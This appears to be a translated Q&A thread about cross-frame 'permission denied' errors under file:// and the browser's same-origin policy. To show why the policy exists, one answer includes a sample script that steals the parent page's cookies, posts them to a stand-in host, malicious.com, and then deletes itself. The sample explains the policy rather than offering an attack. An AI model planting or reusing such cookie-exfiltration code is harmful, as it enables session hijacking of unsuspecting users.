4

我在从不同的 iframe 访问属性时遇到问题。我不断获得此权限被拒绝访问属性错误。我见过有人问他们是否多次使用 file:/// 但从来没有人使用过(除了我),因此永远不会得到解决。

我不会在网络上这样做。我所有帧的 src 都在我的硬盘驱动器上的同一个文件中。我正在尝试从我在其他框架中创建的对象中获取一些属性

function fill_with_pairs()
{
    for (var x = 0 ; x < setLength ; x++)
    {
        var tempSet = sets[x];
        var tempNums = tempSet.wb_numbers;
        if (top.num_frame.active_list.active_nums[x].checked)
        {
            for (var y = 0 ; y < 4 ; y++)
            {
                var thesePairs = tempNums[y];
                var pairBase = numbersX[thesePairs];
                for (var z = y+1 ; z < 5 ; z++)
                {
                    var pairKey = tempNums[z];
                    pairBase[z]++;
                }
            }
        }
    }
}
4

2 回答 2

10

下面的代码

<iframe src="http://example.com" onload="test(this)"></iframe>
<script>
function test(frame)
{
    var cDoc = frame.contentDocument;
}
</script>

投掷

Unsafe JavaScript attempt to access frame with URL http://example.iana.org from frame with URL {your URL}. Domains, protocols and ports must match.

协议必须匹配(例如:主窗口和 iframe 协议必须是其中之一file:http:命名一对)。

域必须匹配(例如:主窗口和 iframe 域必须是example.com

端口必须匹配(例如:主窗口和 iframe 端口必须是808080


这是为了保护用户免受恶意网站执行的代码的影响,如果没有设置这些边界,这些网站很容易从毫无戒心的用户那里窃取数据。

恶意 JavaScript 代码示例:

<script id="loadScript">
window.onload = function()
{
    //grab parent to iframe
    var parentWindow = window.parent.window;
    //grab cookies from parent window
    var cookies = parentWindow.document.cookie;
    //send cookies off to malicious site
    var form = document.createElement("form");
    var inp = document.createElement("input");
    form.action="http://malicious.com/maliciousAd.php";
    form.method="post";
    inp.value=cookies;
    inp.name="cookies";
    form.appendChild(inp);
    form.submit();
    //remove traces of malicious code
    document.body.removeChild(document.getElementById("loadScript"))
}
</script>
于 2013-05-22T03:53:23.773 回答
3

任何试图访问不同域(例如iframe元素)中文档属性的 JavaScript 都违反了称为同源策略的安全概念。

在计算中,同源策略是许多浏览器端编程语言(例如 JavaScript)的重要安全概念。该策略允许在源自同一站点的页面(方案、主机名和端口号1的组合)上运行的脚本无特定限制地访问彼此的方法和属性,但禁止跨不同站点的页面访问大多数方法和属性.

于 2013-05-22T03:39:20.340 回答